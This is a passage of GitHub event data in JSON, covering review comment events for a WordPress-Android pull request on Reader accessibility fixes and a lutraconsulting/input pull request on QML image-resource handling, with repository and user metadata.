","created_at":"2019-11-14T01:49:16Z","updated_at":"2019-11-14T01:49:16Z","html_url":"https://github.com/wordpress-mobile/WordPress-Android/pull/10741#discussion_r346092593","pull_request_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/pulls/10741","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/pulls/comments/346092593"},"html":{"href":"https://github.com/wordpress-mobile/WordPress-Android/pull/10741#discussion_r346092593"},"pull_request":{"href":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/pulls/10741"}},"in_reply_to_id":345458240},"pull_request":{"url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/pulls/10741","id":337139033,"node_id":"MDExOlB1bGxSZXF1ZXN0MzM3MTM5MDMz","html_url":"https://github.com/wordpress-mobile/WordPress-Android/pull/10741","diff_url":"https://github.com/wordpress-mobile/WordPress-Android/pull/10741.diff","patch_url":"https://github.com/wordpress-mobile/WordPress-Android/pull/10741.patch","issue_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/issues/10741","number":10741,"state":"open","locked":false,"title":"Accessibility : Reader Improvements","user":{"login":"jd-alexander","id":1509205,"node_id":"MDQ6VXNlcjE1MDkyMDU=","avatar_url":"https://avatars1.githubusercontent.com/u/1509205?v=4","gravatar_id":"","url":"https://api.github.com/users/jd-alexander","html_url":"https://github.com/jd-alexander","followers_url":"https://api.github.com/users/jd-alexander/followers","following_url":"https://api.github.com/users/jd-alexander/following{/other_user}","gists_url":"https://api.github.com/users/jd-alexander/gists{/gist_id}","starred_url":"https://api.github.com/users/jd-alexander/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jd-alexander/subscriptions","organizations_url":"https://api.github.com/users/jd-alexander/orgs","repos_url":"https://api.github.com/users/jd-alexander/repos","events_url":"https://api.github.com/users/jd-alexander/events{/privacy}","received_events_url":"https://api.github.com/users/jd-alexander/received_events","type":"User","site_admin":false},"body":"Fixes #10734 #10731 \r\n\r\nBelow are the improvements that were made on the reader post list.\r\n\r\n###### Accessibility Scanner Audit \r\n\r\n#### To Test\r\n\r\nTo verify this works all these improvements were made you can simply run the Accessibility Scanner on the screen and the issues below won't be shown. Another means of verification is simply running the app to see the changes are shown below. \r\n\r\n- [x] Filter `org.wordpress.android:id/filter_spinner` - Touch target\r\n\r\n\tThis item's height is 47dp. Consider making the height of this touch target 48dp or larger.\r\n\r\n- [x] Follow Button org.wordpress.android:id/follow_button - Touch target\r\n\r\n\tThis item's height is 30dp. Consider making the height of this touch target 48dp or larger.\r\n\r\n- [x] Discover's Domain - `org.wordpress.android:id/text_domain` - Text contrast\r\n\r\n\tThe item's text contrast ratio is 4.20. This ratio is based on an estimated foreground color of #787C82 and an estimated background color of `#FFFFFF`. Consider using a contrast ratio greater than 4.50 for small text, or 3.00 for large text.\r\n\r\n- [x] Follow Count `org.wordpress.android:id/text_blog_follow_count` - Text contrast\r\n\r\n\tThe item's text contrast ratio is 3.91. This ratio is based on an estimated foreground color of `#787C82` and an estimated background color of `#F6F7F7.` Consider using a contrast ratio greater than 4.50 for small text, or 3.00 for large text.\r\n\r\n- [x] Discover Text `org.wordpress.android:id/text_discover` - Text contrast\r\n\r\n\tThe item's text contrast ratio is 3.16. This ratio is based on an estimated foreground color of #8E9196 and an estimated background color of #FFFFFF. Consider using a contrast ratio greater than 4.50 for small text, or 3.00 for large text.\r\n\r\n- [x] Discover List Item's Visit Layout - `org.wordpress.android:id/layout_discover` - Touch target\r\n\r\n\tThis item's height is 32dp. Consider making the height of this touch target 48dp or larger. A parent container may be handling touch events for this item. If selecting the larger container performs the same action as selecting this item, consider defining this item as not clickable. If a different action is performed, consider increasing the size of this item.\r\n\r\n- [x] Visit Button `org.wordpress.android:id/visit`- Touch target\r\n\r\n\tThis item's height is 36dp. Consider making the height of this touch target 48dp or larger. A parent container may be handling touch events for this item. If selecting the larger container performs the same action as selecting this item, consider defining this item as not clickable. If a different action is performed, consider increasing the size of this item.\r\n\r\n- [x] More Button `org.wordpress.android:id/image_more` - Touch target\r\n\r\n\tThis item's size is 36dp x 36dp. Consider making this touch target 48dp wide and 48dp high or larger. A parent container may be handling touch events for this item. If selecting the larger container performs the same action as selecting this item, consider defining this item as not clickable. If a different action is performed, consider increasing the size of this item.\r\n\r\n##### Talkback Audit\r\n\r\n#### To Test\r\n\r\nEnable TalkBack and put the app in the states described below. \r\n\r\n<img src=\"https://user-images.githubusercontent.com/1509205/68091986-53904480-fe3b-11e9-9297-055067676852.png\" alt=\"Screenshot_20191030-224532\" width=\"400\" />\r\n\r\n- [x] The words \"site icon\" are being read out loud when the user however over the header of a post in the Reader view. The post title and other pertinent information can be made available but it's okay to disregard the author's profile image since their name is being announced.\r\n\r\n- [x] Empty states should be read aloud. If enter has to be pressed that should also be expressed. \r\n\r\n* Saved posts : \r\n\r\n<img src=\"https://user-images.githubusercontent.com/1509205/68092022-ac5fdd00-fe3b-11e9-86d4-b70f9756653e.png\" alt=\"Screenshot_20191101-201554\" width=\"400\"/>\r\n\r\n- [x] Empty state should be announced. \r\n\r\n- [x] Tap to save post to your list. Icon shouldn't be read because the user wont know what it means anyway. \r\n\r\n\r\n## Reader Settings \r\nBelow are the improvements that were made on the reader settings.\r\n\r\n###### Accessibility Scanner Audit\r\n\r\n\r\n#### To Test\r\n\r\nTo verify this works all these improvements were made you can simply run the Accessibility Scanner on the screen and the issues below won't be shown. Another means of verification is simply running the app to see the changes are shown below. \r\n\r\n<img src=\"https://user-images.githubusercontent.com/1509205/68079747-d5389180-fdab-11e9-9c2e-879189447169.png\" width=\"400\" alt=\"settings\" />\t\r\n\t\r\n- [x] Remove Button `org.wordpress.android:id/btn_remove` - Touch target\r\n\t\r\n\tThis item's size is 32dp x 32dp. Consider making this touch target 48dp wide and 48dp high or larger.\r\n\t\r\n- [] Add URL or Tag EditText org.wordpress.android:id/edit_add - Touch target\r\n\r\n\tThis item's height is 38dp. Consider making the height of this touch target 48dp or larger.\r\n\t\r\n- [x] Add Button org.wordpress.android:id/btn_add - Touch target\r\n\r\n\tThis item's size is 32dp x 32dp. Consider making this touch target 48dp wide and 48dp high or larger.\r\n\t\r\n- [x] Add URL or Tag EditText `org.wordpress.android:id/edit_add` - Text contrast\r\n\r\n\tThe item's text contrast ratio is 4.20. This ratio is based on an estimated foreground color of `#787C82` and an estimated background color of `#FFFFFF`. Consider using a contrast ratio greater than 4.50 for small text, or 3.00 for large text.\r\n\t\t\r\n### Contains tabs: \r\n \r\n### Followed Sites Tab\r\n \t\r\n###### Talkback Audit \r\n\r\n#### To Test\r\n\r\nEnable TalkBack and put the app in the states described below. \r\n \t\r\n* Search \r\n<img src=\"https://user-images.githubusercontent.com/1509205/68091812-5b4ee980-fe39-11e9-8bca-e893b2ff0d21.png\" alt=\"Screenshot_20191102-200643\" width=\"400\" />\r\n\r\n- [x] Search input doesn't tell when no results have been returned. Return results after waiting for at least 4 - 5 seconds to ensure query was properly entered. \t\r\n\t\r\n- [ ] When search returns results the user won't know if results are actually present. The app should announce that two items actually exist. (It actually announces this the first time the user selects an item in the list.)\r\n\r\nPR submission checklist:\r\n\r\n- [x] I have considered adding unit tests where possible.\r\n\r\n- [x] I have considered if this change warrants user-facing release notes and have added them to `RELEASE-NOTES.txt` if necessary.\r\n\r\n","created_at":"2019-11-06T02:45:04Z","updated_at":"2019-11-14T01:49:16Z","closed_at":null,"merged_at":null,"merge_commit_sha":"e92c50ac09bcdc3c72a48f440d964d0e06c2c949","assignee":null,"assignees":[],"requested_reviewers":[{"login":"malinajirka","id":2261188,"node_id":"MDQ6VXNlcjIyNjExODg=","avatar_url":"https://avatars3.githubusercontent.com/u/2261188?v=4","gravatar_id":"","url":"https://api.github.com/users/malinajirka","html_url":"https://github.com/malinajirka","followers_url":"https://api.github.com/users/malinajirka/followers","following_url":"https://api.github.com/users/malinajirka/following{/other_user}","gists_url":"https://api.github.com/users/malinajirka/gists{/gist_id}","starred_url":"https://api.github.com/users/malinajirka/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/malinajirka/subscriptions","organizations_url":"https://api.github.com/users/malinajirka/orgs","repos_url":"https://api.github.com/users/malinajirka/repos","events_url":"https://api.github.com/users/malinajirka/events{/privacy}","received_events_url":"https://api.github.com/users/malinajirka/received_events","type":"User","site_admin":false},{"login":"osullivanchris","id":50576199,"node_id":"MDQ6VXNlcjUwNTc2MTk5","avatar_url":"https://avatars3.githubusercontent.com/u/50576199?v=4","gravatar_id":"","url":"https://api.github.com/users/osullivanchris","html_url":"https://github.com/osullivanchris","followers_url":"https://api.github.com/users/osullivanchris/followers","following_url":"https://api.github.com/users/osullivanchris/following{/other_user}","gists_url":"https://api.github.com/users/osullivanchris/gists{/gist_id}","starred_url":"https://api.github.com/users/osullivanchris/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/osullivanchris/subscriptions","organizations_url":"https://api.github.com/users/osullivanchris/orgs","repos_url":"https://api.github.com/users/osullivanchris/repos","events_url":"https://api.github.com/users/osullivanchris/events{/privacy}","received_events_url":"https://api.github.com/users/osullivanchris/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[{"id":349372138,"node_id":"MDU6TGFiZWwzNDkzNzIxMzg=","url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/labels/Accessibility","name":"Accessibility","color":"006b75","default":false},{"id":88251544,"node_id":"MDU6TGFiZWw4ODI1MTU0NA==","url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/labels/Reader","name":"Reader","color":"006b75","default":false},{"id":35106420,"node_id":"MDU6TGFiZWwzNTEwNjQyMA==","url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/labels/[Type]%20Enhancement","name":"[Type] Enhancement","color":"84b6eb","default":false}],"milestone":{"url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/milestones/157","html_url":"https://github.com/wordpress-mobile/WordPress-Android/milestone/157","labels_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/milestones/157/labels","id":4603273,"node_id":"MDk6TWlsZXN0b25lNDYwMzI3Mw==","number":157,"title":"13.7","description":"Code freeze: November 18, 2019 App Store submission: December 02, 2019 Release: December 02, 2019","creator":{"login":"loremattei","id":4836764,"node_id":"MDQ6VXNlcjQ4MzY3NjQ=","avatar_url":"https://avatars0.githubusercontent.com/u/4836764?v=4","gravatar_id":"","url":"https://api.github.com/users/loremattei","html_url":"https://github.com/loremattei","followers_url":"https://api.github.com/users/loremattei/followers","following_url":"https://api.github.com/users/loremattei/following{/other_user}","gists_url":"https://api.github.com/users/loremattei/gists{/gist_id}","starred_url":"https://api.github.com/users/loremattei/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/loremattei/subscriptions","organizations_url":"https://api.github.com/users/loremattei/orgs","repos_url":"https://api.github.com/users/loremattei/repos","events_url":"https://api.github.com/users/loremattei/events{/privacy}","received_events_url":"https://api.github.com/users/loremattei/received_events","type":"User","site_admin":false},"open_issues":16,"closed_issues":14,"state":"open","created_at":"2019-08-26T09:52:08Z","updated_at":"2019-11-13T22:42:16Z","due_on":"2019-11-18T08:00:00Z","closed_at":null},"commits_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/pulls/10741/commits","review_comments_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/pulls/10741/comments","review_comment_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/pulls/comments{/number}","comments_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/issues/10741/comments","statuses_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/statuses/028157e0ac2010cc03720c6c377350e1f0a4785d","head":{"label":"wordpress-mobile:issue/10734-accessibility-reader-filters","ref":"issue/10734-accessibility-reader-filters","sha":"028157e0ac2010cc03720c6c377350e1f0a4785d","user":{"login":"wordpress-mobile","id":1306301,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzMDYzMDE=","avatar_url":"https://avatars2.githubusercontent.com/u/1306301?v=4","gravatar_id":"","url":"https://api.github.com/users/wordpress-mobile","html_url":"https://github.com/wordpress-mobile","followers_url":"https://api.github.com/users/wordpress-mobile/followers","following_url":"https://api.github.com/users/wordpress-mobile/following{/other_user}","gists_url":"https://api.github.com/users/wordpress-mobile/gists{/gist_id}","starred_url":"https://api.github.com/users/wordpress-mobile/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wordpress-mobile/subscriptions","organizations_url":"https://api.github.com/users/wordpress-mobile/orgs","repos_url":"https://api.github.com/users/wordpress-mobile/repos","events_url":"https://api.github.com/users/wordpress-mobile/events{/privacy}","received_events_url":"https://api.github.com/users/wordpress-mobile/received_events","type":"Organization","site_admin":false},"repo":{"id":9306568,"node_id":"MDEwOlJlcG9zaXRvcnk5MzA2NTY4","name":"WordPress-Android","full_name":"wordpress-mobile/WordPress-Android","private":false,"owner":{"login":"wordpress-mobile","id":1306301,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzMDYzMDE=","avatar_url":"https://avatars2.githubusercontent.com/u/1306301?v=4","gravatar_id":"","url":"https://api.github.com/users/wordpress-mobile","html_url":"https://github.com/wordpress-mobile","followers_url":"https://api.github.com/users/wordpress-mobile/followers","following_url":"https://api.github.com/users/wordpress-mobile/following{/other_user}","gists_url":"https://api.github.com/users/wordpress-mobile/gists{/gist_id}","starred_url":"https://api.github.com/users/wordpress-mobile/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wordpress-mobile/subscriptions","organizations_url":"https://api.github.com/users/wordpress-mobile/orgs","repos_url":"https://api.github.com/users/wordpress-mobile/repos","events_url":"https://api.github.com/users/wordpress-mobile/events{/privacy}","received_events_url":"https://api.github.com/users/wordpress-mobile/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/wordpress-mobile/WordPress-Android","description":"WordPress for Android","fork":false,"url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android","forks_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/forks","keys_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/teams","hooks_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/hooks","issue_events_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/issues/events{/number}","events_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/events","assignees_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/assignees{/user}","branches_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/branches{/branch}","tags_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/tags","blobs_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/git/refs{/sha}","trees_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/statuses/{sha}","languages_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/languages","stargazers_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/stargazers","contributors_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/contributors","subscribers_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/subscribers","subscription_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/subscription","commits_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/commits{/sha}","git_commits_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/git/commits{/sha}","comments_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/comments{/number}","issue_comment_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/issues/comments{/number}","contents_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/contents/{+path}","compare_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/merges","archive_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/downloads","issues_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/issues{/number}","pulls_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/pulls{/number}","milestones_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/milestones{/number}","notifications_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/labels{/name}","releases_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/releases{/id}","deployments_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/deployments","created_at":"2013-04-08T20:52:40Z","updated_at":"2019-11-13T13:42:55Z","pushed_at":"2019-11-14T01:42:12Z","git_url":"git://github.com/wordpress-mobile/WordPress-Android.git","ssh_url":"git@github.com:wordpress-mobile/WordPress-Android.git","clone_url":"https://github.com/wordpress-mobile/WordPress-Android.git","svn_url":"https://github.com/wordpress-mobile/WordPress-Android","homepage":"http://android.wordpress.org","size":276327,"stargazers_count":2185,"watchers_count":2185,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1094,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":429,"license":{"key":"gpl-2.0","name":"GNU General Public License v2.0","spdx_id":"GPL-2.0","url":"https://api.github.com/licenses/gpl-2.0","node_id":"MDc6TGljZW5zZTg="},"forks":1094,"open_issues":429,"watchers":2185,"default_branch":"develop"}},"base":{"label":"wordpress-mobile:develop","ref":"develop","sha":"4aaf73cd62ba1301bb9ade74867620835690f400","user":{"login":"wordpress-mobile","id":1306301,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzMDYzMDE=","avatar_url":"https://avatars2.githubusercontent.com/u/1306301?v=4","gravatar_id":"","url":"https://api.github.com/users/wordpress-mobile","html_url":"https://github.com/wordpress-mobile","followers_url":"https://api.github.com/users/wordpress-mobile/followers","following_url":"https://api.github.com/users/wordpress-mobile/following{/other_user}","gists_url":"https://api.github.com/users/wordpress-mobile/gists{/gist_id}","starred_url":"https://api.github.com/users/wordpress-mobile/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wordpress-mobile/subscriptions","organizations_url":"https://api.github.com/users/wordpress-mobile/orgs","repos_url":"https://api.github.com/users/wordpress-mobile/repos","events_url":"https://api.github.com/users/wordpress-mobile/events{/privacy}","received_events_url":"https://api.github.com/users/wordpress-mobile/received_events","type":"Organization","site_admin":false},"repo":{"id":9306568,"node_id":"MDEwOlJlcG9zaXRvcnk5MzA2NTY4","name":"WordPress-Android","full_name":"wordpress-mobile/WordPress-Android","private":false,"owner":{"login":"wordpress-mobile","id":1306301,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzMDYzMDE=","avatar_url":"https://avatars2.githubusercontent.com/u/1306301?v=4","gravatar_id":"","url":"https://api.github.com/users/wordpress-mobile","html_url":"https://github.com/wordpress-mobile","followers_url":"https://api.github.com/users/wordpress-mobile/followers","following_url":"https://api.github.com/users/wordpress-mobile/following{/other_user}","gists_url":"https://api.github.com/users/wordpress-mobile/gists{/gist_id}","starred_url":"https://api.github.com/users/wordpress-mobile/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wordpress-mobile/subscriptions","organizations_url":"https://api.github.com/users/wordpress-mobile/orgs","repos_url":"https://api.github.com/users/wordpress-mobile/repos","events_url":"https://api.github.com/users/wordpress-mobile/events{/privacy}","received_events_url":"https://api.github.com/users/wordpress-mobile/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/wordpress-mobile/WordPress-Android","description":"WordPress for Android","fork":false,"url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android","forks_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/forks","keys_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/teams","hooks_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/hooks","issue_events_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/issues/events{/number}","events_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/events","assignees_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/assignees{/user}","branches_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/branches{/branch}","tags_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/tags","blobs_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/git/refs{/sha}","trees_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/statuses/{sha}","languages_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/languages","stargazers_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/stargazers","contributors_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/contributors","subscribers_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/subscribers","subscription_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/subscription","commits_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/commits{/sha}","git_commits_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/git/commits{/sha}","comments_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/comments{/number}","issue_comment_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/issues/comments{/number}","contents_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/contents/{+path}","compare_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/merges","archive_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/downloads","issues_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/issues{/number}","pulls_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/pulls{/number}","milestones_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/milestones{/number}","notifications_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/labels{/name}","releases_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/releases{/id}","deployments_url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/deployments","created_at":"2013-04-08T20:52:40Z","updated_at":"2019-11-13T13:42:55Z","pushed_at":"2019-11-14T01:42:12Z","git_url":"git://github.com/wordpress-mobile/WordPress-Android.git","ssh_url":"git@github.com:wordpress-mobile/WordPress-Android.git","clone_url":"https://github.com/wordpress-mobile/WordPress-Android.git","svn_url":"https://github.com/wordpress-mobile/WordPress-Android","homepage":"http://android.wordpress.org","size":276327,"stargazers_count":2185,"watchers_count":2185,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1094,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":429,"license":{"key":"gpl-2.0","name":"GNU General Public License v2.0","spdx_id":"GPL-2.0","url":"https://api.github.com/licenses/gpl-2.0","node_id":"MDc6TGljZW5zZTg="},"forks":1094,"open_issues":429,"watchers":2185,"default_branch":"develop"}},"_links":{"self":{"href":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/pulls/10741"},"html":{"href":"https://github.com/wordpress-mobile/WordPress-Android/pull/10741"},"issue":{"href":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/issues/10741"},"comments":{"href":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/issues/10741/comments"},"review_comments":{"href":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/pulls/10741/comments"},"review_comment":{"href":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/pulls/10741/commits"},"statuses":{"href":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/statuses/028157e0ac2010cc03720c6c377350e1f0a4785d"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 9306568,
"name": "wordpress-mobile/WordPress-Android",
"url": "https://api.github.com/repos/wordpress-mobile/WordPress-Android"
}
|
{
"id": 1509205,
"login": "jd-alexander",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1509205?",
"url": "https://api.github.com/users/jd-alexander"
}
|
{
"id": 1306301,
"login": "wordpress-mobile",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1306301?",
"url": "https://api.github.com/orgs/wordpress-mobile"
}
| 2019-11-14T01:49:16 |
10858278129
|
{"actor":{"display_login":"jd-alexander"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/lutraconsulting/input/pulls/comments/309591594","pull_request_review_id":269482817,"id":309591594,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMwOTU5MTU5NA==","diff_hunk":"@@ -39,17 +40,35 @@ Item {\n }\n }\n \n- property var imageSelected: function imageSelected(imagePath) {\n- var homePath = featureForm.project ? featureForm.project.homePath : \"\"\n- var fileName = QgsQuick.Utils.getRelativePath(imagePath, homePath)\n- if (!fileName) {\n- fileName = __inputUtils.getFileName(imagePath)\n- }\n- if (!QgsQuick.Utils.fileExists(homePath, fileName)) {\n- __inputUtils.copyFile(imagePath, homePath + \"/\" + fileName)\n- }\n- externalResourceHandler.itemWidget.valueChanged(fileName, false)\n+ property var confirmImage: function confirmImage(itemWidget, prefixToRelativePath, value) {\n+ var newPath = __inputUtils.renameFile(prefixToRelativePath + \"/\" + value, customPrefix)\n+ if (newPath) {\n+ externalResourceHandler.itemWidget = itemWidget","path":"app/qml/ExternalResourceBundle.qml","position":25,"original_position":25,"commit_id":"6730701f2ba9a9ec266a930d6a057c9058160710","original_commit_id":"6730701f2ba9a9ec266a930d6a057c9058160710","user":{"login":"sklencar","id":6735606,"node_id":"MDQ6VXNlcjY3MzU2MDY=","avatar_url":"https://avatars2.githubusercontent.com/u/6735606?v=4","gravatar_id":"","url":"https://api.github.com/users/sklencar","html_url":"https://github.com/sklencar","followers_url":"https://api.github.com/users/sklencar/followers","following_url":"https://api.github.com/users/sklencar/following{/other_user}","gists_url":"https://api.github.com/users/sklencar/gists{/gist_id}","starred_url":"https://api.github.com/users/sklencar/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sklencar/subscriptions","organizations_url":"https://api.github.com/users/sklencar/orgs","repos_url":"https://api.github.com/users/sklencar/repos","events_url":"https://api.github.com/users/sklencar/events{/privacy}","received_events_url":"https://api.github.com/users/sklencar/received_events","type":"User","site_admin":false},"body":"Removing reference is just kind of good will to avoid possible conflicts in case of multiple external source fields. However, this shouldn't happen at all since reference is set to bundle every time when value is going to be changed. Therefore this \"cleanup\" can be removed.\r\n \r\nThere is even a case, when a user choose image, cancel a filedialog and the whole workflow is at its end, but reference hasnt been removed.","created_at":"2019-08-01T08:55:30Z","updated_at":"2019-08-01T08:55:30Z","html_url":"https://github.com/lutraconsulting/input/pull/393#discussion_r309591594","pull_request_url":"https://api.github.com/repos/lutraconsulting/input/pulls/393","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/lutraconsulting/input/pulls/comments/309591594"},"html":{"href":"https://github.com/lutraconsulting/input/pull/393#discussion_r309591594"},"pull_request":{"href":"https://api.github.com/repos/lutraconsulting/input/pulls/393"}},"in_reply_to_id":309336273},"pull_request":{"url":"https://api.github.com/repos/lutraconsulting/input/pulls/393","id":302042738,"node_id":"MDExOlB1bGxSZXF1ZXN0MzAyMDQyNzM4","html_url":"https://github.com/lutraconsulting/input/pull/393","diff_url":"https://github.com/lutraconsulting/input/pull/393.diff","patch_url":"https://github.com/lutraconsulting/input/pull/393.patch","issue_url":"https://api.github.com/repos/lutraconsulting/input/issues/393","number":393,"state":"open","locked":false,"title":"QgsQuick external resource widget handling","user":{"login":"sklencar","id":6735606,"node_id":"MDQ6VXNlcjY3MzU2MDY=","avatar_url":"https://avatars2.githubusercontent.com/u/6735606?v=4","gravatar_id":"","url":"https://api.github.com/users/sklencar","html_url":"https://github.com/sklencar","followers_url":"https://api.github.com/users/sklencar/followers","following_url":"https://api.github.com/users/sklencar/following{/other_user}","gists_url":"https://api.github.com/users/sklencar/gists{/gist_id}","starred_url":"https://api.github.com/users/sklencar/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sklencar/subscriptions","organizations_url":"https://api.github.com/users/sklencar/orgs","repos_url":"https://api.github.com/users/sklencar/repos","events_url":"https://api.github.com/users/sklencar/events{/privacy}","received_events_url":"https://api.github.com/users/sklencar/received_events","type":"User","site_admin":false},"body":"Changes required by QgsQuick changes (related to external widget and photopanel)\r\n\r\nCan be closed after: https://github.com/qgis/QGIS/pull/30929\r\n\r\ncloses: #380 